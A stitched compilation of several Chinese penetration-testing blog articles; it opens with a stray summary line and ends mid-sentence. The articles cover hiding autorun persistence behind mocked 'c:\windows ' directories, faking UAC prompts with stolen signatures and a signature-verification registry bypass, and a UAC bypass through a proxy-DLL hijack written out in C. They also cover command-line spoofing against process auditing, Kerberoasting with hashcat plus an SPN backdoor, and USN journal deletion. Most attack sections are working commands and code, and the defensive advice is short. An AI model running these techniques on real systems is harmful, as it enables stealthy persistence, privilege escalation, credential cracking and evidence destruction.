0x05 小结

本文介绍了在域内使用Overpass-the-hash实现dnscmd远程读取DNS记录的方法。

0x00 前言

在上篇文章《通过模拟可信目录绕过UAC的利用分析》对通过模拟可信目录绕过UAC的方法进行了分析,本文将结合自己的经验,继续介绍模拟可信目录的另外三种利用技巧,最后给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 利用模拟可信目录绕过Autoruns

· 利用模拟可信目录欺骗ShimCache

· 利用模拟可信目录伪造正常的UAC弹框

0x02 利用模拟可信目录绕过Autoruns

绕过原理:

Autoruns默认不显示带有微软签名的文件,如果文件包含微软签名,默认不会显示在Autoruns面板。

在Windows系统的启动位置写入模拟可信目录下的文件,由于被识别为正常带有微软签名的文件,默认将不会显示在Autoruns面板。

经过测试,并不适用于所有的启动位置,具体测试如下:

创建模拟的可信目录,添加测试文件:

md "\\?\c:\windows "
md "\\?\c:\windows \system32"
copy c:\test\putty.exe "\\?\c:\windows \system32\notepad.exe"
copy c:\test\calc.dll "\\?\c:\windows \system32\atl.dll"

1、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

系统启动时启动文件"C:\Windows \System32\notepad.exe",添加注册表的命令如下:

reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v RunTest /t REG_SZ /d "\"c:\windows \system32\notepad.exe\""

注:"在cmd下转义后用\"表示。

Autoruns检测注册表项,将其识别为notepad.exe,如下图:

Alt text

但在系统开机时启动的是正常notepad.exe,而不是putty.exe,失败。

2、注册启动项HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon下的Userinit

查询原注册表项:

reg query "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit

默认键值内容为:C:\Windows\system32\userinit.exe,

系统启动时启动文件"C:\Windows \System32\notepad.exe",添加注册表的命令如下:

reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,\"c:\windows \system32\notepad.exe\"," /f

注:"在cmd下转义后用\"表示。

系统开机时启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过。

如下图:

Alt text

注:Autoruns默认不显示带有微软签名的文件,所以不会显示上图中的notepad.exe,上图为了演示专门设置为显示所有启动项。

3、LSA Providers

注册启动项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa下的Security Packages

添加键值"c:\windows \system32\atl.dll"

Autoruns检测注册表项,将其识别为atl.dll,成功绕过。

如下图:

Alt text

4、WMI

每隔60秒启动文件"C:\Windows \System32\notepad.exe",添加wmi的命令如下:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows \System32\notepad.exe",CommandLineTemplate="C:\Windows \System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""

执行后每隔一分钟启动putty.exe,Autoruns检测注册表项,将其识别为notepad.exe,成功绕过。

如下图:

Alt text

补充:

查看已注册wmi信息的命令如下:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer GET __RELPATH /FORMAT:list
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding GET __RELPATH /FORMAT:list

删除已注册wmi的命令如下:

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter WHERE Name="BotFilter82" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer WHERE Name="BotConsumer23" DELETE
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding WHERE Filter="__EventFilter.Name='BotFilter82'" DELETE

0x03 利用模拟可信目录欺骗ShimCache

在之前的文章《渗透技巧——Windows系统文件执行记录的获取与清除》提到:

ShimCache不仅会记录exe文件的执行,而且会对exe文件同级目录下的文件进行记录(如果文件没有执行,那么Executed的属性为no)。

ShimCache只会在系统重新启动后更新(注销当前用户不会更新)。

也就是说,想要清除本次系统从启动至关机的ShimCache记录,有两种方法:

(1)修改注册表

备份当前注册表:

reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg

系统重启后,恢复注册表:

reg import ShimCache.reg

(2)非正常关机

跳过写入注册表的操作,无法记录本次系统自启动至关机的记录。

(3)修改内存

(理论上可行)

这里我尝试利用模拟可信目录欺骗ShimCache,迷惑性很高。

方法如下:

1. 创建可信目录"c:\windows \system32"

md "\\?\c:\windows "
md "\\?\c:\windows \system32"

2. 释放文件"c:\windows \system32\calc.exe"

copy c:\test\putty.exe "\\?\c:\windows \system32\notepad.exe"

3. 执行

"c:\windows \system32\notepad.exe"

4. 重启后查看ShimCache

使用工具: https://github.com/mandiant/ShimCacheParser

reg export "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" ShimCache.reg
ShimCacheParser.py -o out.csv -r c:\test\ShimCache.reg -t

查看结果,很具有迷惑性,如下图:

Alt text

0x04 利用模拟可信目录伪造正常的UAC弹框

1、编写需要管理员权限运行的程序

使用Visual Studio。

VS工程设置位置:

配置属性 -> 链接器 -> 清单文件,选择需要管理员权限运行。

也可以修改PE文件资源中的manifest。

2、模拟可信目录,释放文件

copy c:\test\testuac.exe "\\?\c:\windows \system32\diskpart.exe"

执行:"c:\windows \system32\diskpart.exe"

弹出UAC提示,显示路径为正常的diskpart.exe,但是没有签名会提示异常,如下图:

Alt text

注:执行正常的diskpart.exe,UAC提示如下图。

Alt text

为了伪造成真正的UAC提示,可以使用PE文件的Authenticode签名伪造。

参考资料: 《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》

3、签名伪造

使用SigThief,地址如下:

https://github.com/secretsquirrel/SigThief

参数如下:

sigthief.py -i C:\Windows\System32\consent.exe -t c:\test\testuac.exe -o c:\test\new.exe 
copy c:\test\new.exe "\\?\c:\windows \system32\diskpart.exe" /y

4、绕过证书验证

添加注册表的命令如下:

REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "Dll" /t REG_SZ /d "C:\Windows\System32\ntdll.dll" /f
REG ADD "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}" /v "FuncName" /t REG_SZ /d "DbgUiContinue" /f

5、最终测试

再次执行:"c:\windows \system32\diskpart.exe",UAC提示同真正的diskpart.exe一样,如下图:

Alt text

0x05 防御建议

对于模拟可信目录的利用,前提是创建了伪造的目录,所以可选择对文件夹的短文件名进行监控。

如果出现与系统目录相近的短文件名,可选择进行标记。

查看短文件名的方法: dir /x

如下图:

Alt text

0x06 小结

本文介绍了模拟可信目录的另外三种利用技巧,最后给出防御建议。

0x00 前言

从@CE2Wells的博客学到的一个技巧,通过模拟可信目录能够绕过UAC,本文将对结合自己的经验对这个方法进行介绍,添加自己的理解,分享测试中的细节。

文章地址:

https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e

0x01 简介

· 原理介绍

· 实现细节

· 实际测试

· 利用分析

0x02 原理介绍

1、Long UNC

在之前的文章《Catalog签名伪造——Long UNC文件名欺骗》曾介绍过exe文件使用Long UNC后能够欺骗系统,将其识别为另一个文件。

例如:

type putty.exe > "\\?\C:\Windows\System32\calc.exe "

如下图:

Alt text

这个方法同样适用于文件夹

例如:

md "\\?\c:\windows "

新创建的文件夹能够欺骗系统,将其识别为另一个文件夹。

如下图:

Alt text

Alt text

2、默认能够绕过UAC的文件

需要满足以下三个条件:

· 程序配置为自动提升权限,以管理员权限执行。

· 程序包含签名。

· 从受信任的目录("c:\windows\system32")执行。

3、普通用户权限能够在磁盘根目录创建文件夹

例如,普通用户权限能够在c盘下创建文件夹。

4、dll劫持

exe程序如果在启动过程中需要加载dll,默认先搜索exe程序的同级目录。

综上,满足了绕过UAC的所有条件。

实现的思路如下:

1、找到一个默认能够绕过UAC的文件,例如c:\windows\system32\winsat.exe

2、使用Long UNC创建一个特殊的文件夹"c:\windows \",并将winsat.exe复制到该目录。

3、执行winsat.exe,记录启动过程,发现启动时需要加载同级目录下的WINMM.dll

4、编写payload.dll,指定导出函数同c:\windows\system32\winmm.dll相同,并命名为"c:\windows \system32\WINMM.dll"

5、执行"c:\windows \system32\winsat.exe",将自动绕过UAC,加载"c:\windows \system32\WINMM.dll",执行payload

0x03 实现细节

1、寻找可供利用的exe

这些文件的特征之一是manifest中的autoElevate属性为true。

可以借助powershell实现自动化搜索,参考工具:

https://github.com/g3rzi/Manifesto

界面化的工具使用如下图:

Alt text

2、使用Long UNC创建一个特殊的文件夹"c:\windows \"

C++的实现代码如下:

CreateDirectoryW(L"\\\\?\\C:\\Windows \\", 0);

通过命令行实现的命令如下:

md "\\?\c:\windows "

3、记录winsat.exe的启动过程,寻找启动时加载的dll

这里可以使用Process Monitor,筛选出启动过程中结果为"NAME NOT FOUND"的记录,如下图:

Alt text

因此,可供利用的dll名称如下:

· VERSION.dll

· WINMM.dll

· POWRPROF.dll

· dxgi.dll

· dwmapi.dll

· d3d10_1.dll

· d3d1-_1core.dll

· d3d11.dll

· d3d10core.dll

· QUARTZ.dll

任选一个即可。

4、编写payload.dll,指定导出函数

这里可以使用exportstoc,下载地址:

https://github.com/michaellandi/exportstoc

详细使用说明可参考之前的文章《Study Notes Weekly No.1(Monitor WMI & ExportsToC++ & Use DiskCleanup bypass UAC)》

例如这里选择VERSION.dll,劫持的原dll路径为c:\\Windows\\system32\\version.dll,如下图:

Alt text

添加payload为启动计算器,最终的代码如下:

#include "stdafx.h"
#include <iostream>
#include <windows.h>

using namespace std;

#pragma comment (linker, "/export:GetFileVersionInfoA=c:\\windows\\system32\\version.GetFileVersionInfoA,@1")
#pragma comment (linker, "/export:GetFileVersionInfoByHandle=c:\\windows\\system32\\version.GetFileVersionInfoByHandle,@2")
#pragma comment (linker, "/export:GetFileVersionInfoExW=c:\\windows\\system32\\version.GetFileVersionInfoExW,@3")
#pragma comment (linker, "/export:GetFileVersionInfoSizeA=c:\\windows\\system32\\version.GetFileVersionInfoSizeA,@4")
#pragma comment (linker, "/export:GetFileVersionInfoSizeExW=c:\\windows\\system32\\version.GetFileVersionInfoSizeExW,@5")
#pragma comment (linker, "/export:GetFileVersionInfoSizeW=c:\\windows\\system32\\version.GetFileVersionInfoSizeW,@6")
#pragma comment (linker, "/export:GetFileVersionInfoW=c:\\windows\\system32\\version.GetFileVersionInfoW,@7")
#pragma comment (linker, "/export:VerFindFileA=c:\\windows\\system32\\version.VerFindFileA,@8")
#pragma comment (linker, "/export:VerFindFileW=c:\\windows\\system32\\version.VerFindFileW,@9")
#pragma comment (linker, "/export:VerInstallFileA=c:\\windows\\system32\\version.VerInstallFileA,@10")
#pragma comment (linker, "/export:VerInstallFileW=c:\\windows\\system32\\version.VerInstallFileW,@11")
#pragma comment (linker, "/export:VerLanguageNameA=c:\\windows\\system32\\version.VerLanguageNameA,@12")
#pragma comment (linker, "/export:VerLanguageNameW=c:\\windows\\system32\\version.VerLanguageNameW,@13")
#pragma comment (linker, "/export:VerQueryValueA=c:\\windows\\system32\\version.VerQueryValueA,@14")
#pragma comment (linker, "/export:VerQueryValueW=c:\\windows\\system32\\version.VerQueryValueW,@15")

BOOL WINAPI DllMain(HINSTANCE hInst,DWORD reason,LPVOID)
{
	system("start calc.exe");
	return true;
}

将其编译成dll,另存为"c:\windows \system32\VERSION.dll",

5、启动exe

命令行下启动需要绝对路径:"c:\windows \system32\winsat.exe"

注:这里不可以使用短文件名(短文件名通过"dir /x"获得)。

0x04 利用分析

1、可供利用的位置不唯一。

在我的测试系统(Win7 x64)中,可供利用的exe有39个,可供利用的dll也有很多。

2、对于Long UNC这种文件夹还有其他形式。

例如:

· 文件名可以包含多个空格: "\\?\C:\Windows "

· 使用字符"."(最少两个): "\\?\C:\Windows.."

但其他形式的文件夹无法用来绕过UAC。

3、使用Long UNC创建伪造的文件夹能够欺骗“粗心的管理员”。

例如系统开启Windows command line process auditing,记录程序运行的参数。

如下图:

Alt text

肉眼很难分辨。

0x05 小结

本文对通过模拟可信目录绕过UAC的方法进行分析,分享测试中的细节。

0x00 前言

command line process auditing是Windows的一项功能,开启该功能后,ID为4688的日志将会记录进程创建时的命令行参数。

本文将要介绍通过修改进程参数绕过日志记录的方法,测试开源工具SwampThing,分享实现SwampThing的C语言代码,分析利用思路,给出防御建议。

SwampThing的地址:

https://github.com/FuzzySecurity/Sharp-Suite/blob/master/SwampThing

0x01 简介

本文将要介绍以下内容:

· 实现原理

· 开启command line process auditing的方法

· 测试SwampThing

· 通过c++实现SwampThing

· 利用思路

· 防御建议

0x02 实现原理

方法上同创建傀儡进程类似,区别在于这个方法只修改新进程的CommandLine参数。

关于傀儡进程的技术细节,可参考之前的文章: 《傀儡进程的实现与检测》

实现思路:

1、通过CreateProcess创建进程,传入参数lpCommandLine,传入参数CREATE_SUSPENDED使进程挂起。

2、修改新进程的Commandline参数。

3、通过ResumeThread唤醒进程,执行新的Commandline参数。

4、如果新进程没有退出,再将Commandline参数还原。

在具体实现上,还需要考虑以下问题:

1、进程的选择

启动的进程需要能够加载Commandline参数,例如cmd.exe,powershell.exe,wmic.exe等

2、修改远程进程的Commandline参数

通过NtQueryInformationProcess找到远程进程的基地址,计算偏移获得Commandline参数的位置,再分别通过ReadProcessMemory和WriteProcessMemory对Commandline参数进行读写。

补充:

修改当前进程的Commandline参数可参考:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/MasqueradePEBtoCopyfile.cpp

0x03 开启command line process auditing

官方文档:

https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing

该功能默认关闭,需要手动配置来开启。

1、执行gpedit.msc进入组策略

2、开启进程审核功能

英文系统:

Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Configuration > Detailed Tracking > Audit Process Creation

中文系统:

计算机配置 > 策略 > Windows 设置 > 安全设置 > 高级审核配置 > 详细跟踪> 审核创建进程

3、开启事件日志的额外功能,记录命令行参数。

英文系统:

Administrative Template > System > Audit Process Creation > Include command line in process creation events

中文系统:

管理模板 > 系统 > 审核创建的进程 > 在创建事件的过程中包含命令行

开启command line process auditing后,在Windows日志的Security分类下,ID为4688的日志记录进程创建信息。

实例如下图:

Alt text

通过命令行查询ID为4688的日志的命令如下:

wevtutil qe security /f:text /q:*[System[(EventID=4688)]]

0x04 测试SwampThing

地址:

https://github.com/FuzzySecurity/Sharp-Suite/blob/master/SwampThing

使用c#编写。

编译成功后需要以下三个文件:

· SwampThing.exe

· CommandlLine.dll

· CommandLine.xml

命令行参数如下:

SwampThing.exe -l C:\Windows\System32\notepad.exe -f C:\aaa.txt -r C:\bbb.txt

启动的notepad.exe将会加载C:\bbb.txt,但通过ProcessExplorer查看notepad.exe进程的参数为C:\aaa.txt。

如下图:

Alt text

开启command line process auditing后,ID为4688的日志记录notepad.exe进程参数为C:\aaa.txt。

成功绕过command line process auditing,如下图:

Alt text

SwampThing在实现上只针对执行后不自动退出的进程(例如notepad.exe),也就是说,通过ResumeThread唤醒进程后会再次修改进程参数,将其还原。

显而易见,对于执行后就退出的进程(例如cmd.exe /c),通过ResumeThread唤醒进程后,无法再次修改进程参数,将会报错,如下图:

Alt text

0x05 通过c++实现SwampThing

我通过c++实现了和SwampThing类似的功能,但在细节上有以下不同:

1、通过ResumeThread唤醒进程后,不再还原进程参数,可适用于cmd.exe /c

2、修改CreateProcess创建进程的参数,指定pStartupInfo->dwFlags和pStartupInfo->wShowWindow,隐藏启动进程的界面。

代码下载地址:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/ProcessCommandlineSpoofing.cpp

代码实现了以下功能:

· 执行命令cmd.exe /c start calc.exe。

· 开启command line process auditing后,ID为4688的日志记录的进程参数为cmd.exe /c start notepad.exe。

0x06 利用思路

这个方法可以用来隐藏进程的真实参数。

在利用上,还可以选择wmic.exe,正如SwampThing提到的那样——使用wmic来加载一个xsl文件。

通过wmic加载xsl文件的方法可参考我之前的两篇文章:《Use msxsl to bypass AppLocker》《利用wmic调用xsl文件的分析与利用》

当然,SwampThing和我开源的C代码都需要修改以后才能实现通过wmic加载xsl。

0x07 防御建议

相对于创建傀儡进程,这种方法不需要使用VirtualAllocEx申请新的内存,不需要通过SetThreadContext设置入口点。

通过对比PE文件在本地和内存之间是否有区别也无法检测这种方法。

在检测上可以尝试查看进程的父进程是否可疑。

0x08 小结

本文介绍了通过修改进程参数绕过command line process auditing的方法,测试开源工具SwampThing,分享实现SwampThing的C语言代码,分析利用思路,最后给出防御建议。

0x00 前言

Kerberoasting是域渗透中经常使用的一项技术,本文将参考公开的资料,结合自己的理解,详细介绍Kerberoasting的原理和实现,以及一个后门利用的方法,最后给出防御建议。

参考资料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/ http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/https://malicious.link/post/2016/kerberoast-pt1/ https://malicious.link/post/2016/kerberoast-pt2/https://malicious.link/post/2016/kerberoast-pt3/ https://adsecurity.org/?p=3458 https://adsecurity.org/?page_id=183https://blog.netspi.com/faster-domain-escalation-using-ldap/ https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx

0x01 简介

本文将要介绍以下内容:

· Kerberoasting相关概念。

· Kerberoasting的原理。

· Kerberoasting的实现。

· Kerberoasting的后门利用。

· Kerberoasting的防御。

0x02 基本概念

SPN

官方文档:

https://docs.microsoft.com/en-us/windows/desktop/AD/service-principal-names

全称Service Principal Names。

SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN。

SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下。

当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下。

当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下。

SPN的格式

serviceclass/host:port/servicename

说明:

· serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等。

· host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01。

· 如果服务运行在默认端口上,则端口号(port)可以省略。

查询SPN

对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测。

(1) 使用SetSPN

Win7和Windows Server2008自带的工具。

查看当前域内的所有SPN:

setspn.exe -q */*

查看test域内的所有SPN:

setspn.exe -T test -q */*

输出结果实例:

CN=DC1,OU=Domain Controllers,DC=test,DC=com
        exchangeRFR/DC1
        exchangeRFR/DC1.test.com
        exchangeMDB/DC1.test.com
        exchangeMDB/DC1
        exchangeAB/DC1
        exchangeAB/DC1.test.com
        SMTP/DC1
        SMTP/DC1.test.com
        SmtpSvc/DC1
        SmtpSvc/DC1.test.com
        ldap/DC1.test.com/ForestDnsZones.test.com
        ldap/DC1.test.com/DomainDnsZones.test.com
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.test.com
        DNS/DC1.test.com
        GC/DC1.test.com/test.com
        RestrictedKrbHost/DC1.test.com
        RestrictedKrbHost/DC1
        HOST/DC1/TEST
        HOST/DC1.test.com/TEST
        HOST/DC1
        HOST/DC1.test.com
        HOST/DC1.test.com/test.com
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/0f33253b-2314-40f0-b665-f4317b13e6b9/test.com
        ldap/DC1/TEST
        ldap/0f33253b-2314-40f0-b665-f4317b13e6b9._msdcs.test.com
        ldap/DC1.test.com/TEST
        ldap/DC1
        ldap/DC1.test.com
        ldap/DC1.test.com/test.com
CN=krbtgt,CN=Users,DC=test,DC=com
        kadmin/changepw
CN=COMPUTER01,CN=Computers,DC=test,DC=com
        RestrictedKrbHost/COMPUTER01
        HOST/COMPUTER01
        RestrictedKrbHost/COMPUTER01.test.com
        HOST/COMPUTER01.test.com
CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
        MSSQLSvc/DC1.test.com

以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN。

对于上面的输出数据,机器帐户(Computers)为:

· CN=DC1,OU=Domain Controllers,DC=test,DC=com

· CN=COMPUTER01,CN=Computers,DC=test,DC=com

域用户帐户(Users)为:

· CN=krbtgt,CN=Users,DC=test,DC=com

· CN=MSSQL Service Admin,CN=Users,DC=test,DC=com

注册在域用户帐户(Users)下的SPN有两个:kadmin/changepw和MSSQLSvc/DC1.test.com。

0x03 Kerberoasting的原理

1、Kerberos认证过程

一个简单的Kerberos认证过程如下图。

Alt text

1、as_request

2、as_reply

3、tgs_request

4、tgs_reply

5、ap_request

6、ap_reply

对于4.tgs_reply,用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC。

站在利用的角度,当获得这个TGS后,我们可以尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令。

2、Windows系统通过SPN查询获得服务和服务实例帐户的对应关系

这里举一个例子:

用户a要访问MySQL服务的资源,进行到4.tgs_reply时,步骤如下:

(1)Domain Controller查询MySQL服务的SPN

如果该SPN注册在机器帐户(Computers)下,将会查询所有机器帐户(Computers)的servicePrincipalName属性,找到对应的帐户。

如果该SPN注册在域用户帐户(Users)下,将会查询所有域用户(Users)的servicePrincipalName属性,找到对应的帐户。

(2)找到对应的帐户后,使用该帐户的NTLM hash,生成TGS

3、域内的主机都能查询SPN

4、域内的任何用户都可以向域内的任何服务请求TGS

综上,域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解。

对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)。

因此,高效率的利用思路如下:

1、查询SPN,找到有价值的SPN,需要满足以下条件:

· 该SPN注册在域用户帐户(Users)下

· 域用户账户的权限很高

2、请求TGS

3、导出TGS

4、暴力破解

0x04 Kerberoasting的实现方法一

1、获得有价值的SPN

需要满足以下条件:

· 该SPN注册在域用户帐户(Users)下

· 域用户账户的权限很高

可以选择以下三种方法:

(1)使用powershell模块Active Directory

注:powershell模块Active Directory 需要提前安装,域控制器一般会安装。

import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon

(2)使用PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

(3)使用kerberoast

powershell:

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

vbs:

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs

参数如下:

cscript GetUserSPNs.vbs

2、请求TGS

(1)请求指定TGS

$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName

(2)请求所有TGS

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

执行后输入klist查看内存中的票据,可找到获得的TGS。

3、导出

使用mimikatz

kerberos::list /export

4、破解

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py

./tgsrepcrack.py wordlist.txt test.kirbi

0x05 Kerberoasting的实现方法二

自动实现,并且不需要mimikatz,普通用户权限即可,参考资料:

http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/

代码地址:

https://github.com/EmpireProject/Empire/commit/6ee7e036607a62b0192daed46d3711afc65c3921

使用System.IdentityModel.Tokens.KerberosRequestorSecurityToken请求TGS,在返回结果中提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

实例演示:

在域内一台主机上以普通用户权限执行:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl

-AdminCount表示选择高权限的用户。

输出结果如下图:

Alt text

只提取出hash的参数如下:

Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

输出结果如下图:

Alt text

使用hashcat破解的参数如下:

hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force

破解结果如下图,成功获得明文口令MySQLAdmin111!

Alt text

注:Rubeus也可以实现Invoke-Kerberoast的功能,地址如下:

https://github.com/GhostPack/Rubeus

参数如下:

Rubeus.exe kerberoast

0x06 Kerberoasting的后门利用

在我们取得了SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令。

例如为域用户Administrator添加SPNVNC/DC1.test.com,参数如下:

setspn.exe -U -A VNC/DC1.test.com Administrator

如下图:

Alt text

在域内任意一台主机都能获得该SPN,并且能够使用Kerberoast获得TGS,如下图:

Alt text

再使用hashcat破解即可。

补充:

删除SPN的参数如下:

setspn.exe -D VNC/DC1.test.com Administrator

0x07 防御

站在防御的角度,不可能阻止kerberoast,但可以对有攻击价值的SPN(注册在域用户帐户下,权限高),增加密码长度,能够提高破解难度,并且定期修改关联的域用户口令。

管理员可在域内一台主机上使用Invoke-Kerberoast检查是否存在危险的SPN。

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

参数:

Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

0x08 小结

本文对Kerberoasting的原理、方法和防御作了详细介绍,并进行了实例演示。

0x00 前言

在上篇文章《渗透技巧——Windows下NTFS文件的时间属性》介绍了修改NTFS文件时间属性的方法和细节,以及取证上的建议。 本文将要继续研究NTFS文件另一处记录文件修改时间的位置——USN Journal,同样是分析利用思路,给出取证上的建议。

0x01 简介

本文将要介绍以下内容:

· 基本概念

· 读取USN Journal的方法

· 利用思路

· 取证建议

0x02 USN Journal的基本概念

官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/bb742450(v=technet.10)

USN Journal (Update Sequence Number Journal),也称作Change Journal,用来记录NTFS volume中文件修改的信息,能够提高搜索文件的效率。

每个NTFS volume对应一个USN Journal,存储在NTFS metafile的$Extend\$UsnJrnl中,也就是说,不同的NTFS volume对应的USN Journal不同。

USN Journal会记录文件和目录的创建、删除、修改、重命名和加解密操作,每条记录的格式如下:

typedef struct {
  DWORD         RecordLength;
  WORD          MajorVersion;
  WORD          MinorVersion;
  DWORDLONG     FileReferenceNumber;
  DWORDLONG     ParentFileReferenceNumber;
  USN           Usn;
  LARGE_INTEGER TimeStamp;
  DWORD         Reason;
  DWORD         SourceInfo;
  DWORD         SecurityId;
  DWORD         FileAttributes;
  WORD          FileNameLength;
  WORD          FileNameOffset;
  WCHAR         FileName[1];
} USN_RECORD_V2, *PUSN_RECORD_V2;

官方资料:

https://docs.microsoft.com/en-us/windows/desktop/api/winioctl/ns-winioctl-usn_record_v2

在NTFS metafile的$Extend\$UsnJrnl\$Max保存USN Journal文件的总大小,如果USN Journal的记录长度超出总大小,会从最初始的记录开始覆盖。

0x03 读取USN Journal的方法

1、使用命令fsutil usn

官方文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc788042(v%3Dws.10)

(1)查看C盘的USN Journal信息

fsutil usn queryjournal c:

包括以下信息:

· Usn Journal ID

· First Usn

· Next Usn

· Lowest Valid Usn

· Max Usn

· Maximum Size

· Allocation Delta

(2)查看C盘所有的USN Journal

fsutil usn enumdata 1 0 1 c:

包括以下信息:

· File Ref#

· ParentFile Ref#

· Usn

· SecurityId

· Reason

· Name

输出结果不够详细。

2、使用开源工具

(1)导出USN Journal

下载地址:

https://github.com/jschicht/ExtractUsnJrnl

参数如下:

ExtractUsnJrnl /DevicePath:c: /OutputPath:c:\test /OutputName:UsnJrnl_vol1.bin

(2)将USN Journal转为CSV格式输出

下载地址:

https://github.com/jschicht/UsnJrnl2Csv

参数如下:

UsnJrnl2Csv /UsnJrnlFile:c:\test\UsnJrnl_vol1.bin /OutputPath:c:\test

包括以下信息:

· Offset

· FileName

· USN

· Timestamp

· Reason

· MFTReference

· MFTReferenceSeqNo

· MFTParentReference

· MFTParentReferenceSeqNo

· FileAttributes

· MajorVersion

· MinorVersion

· SourceInfo

· SecurityId

输出结果很完整。

3、c++实现

我这里写了一个简单的示例代码,下载地址:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/EnumUsnJournal.cpp

代码实现了枚举C盘的USN Journal,仅输出文件名。

0x04 利用思路

1、清除所有USN Journal

(1)使用fsutil

fsutil usn deletejournal /d c:

注:我在测试环境下没有删除成功。

(2)API

https://docs.microsoft.com/en-us/windows/desktop/api/winioctl/ns-winioctl-delete_usn_journal_data

注:我在测试环境下没有删除成功。

2、清除单条USN Journal

我还没有找到可用的API接口。

唯一的方法是直接修改NTFS文件,但是自nt6.x开始,Windows禁止加载未经签名的驱动文件。

这里可以尝试使用付费版的WinHex对NTFS文件进行操作,修改$Extend\$UsnJrnl中的内容。

也可以尝试绕过驱动保护。

$UsnJrnl的内容可参考:

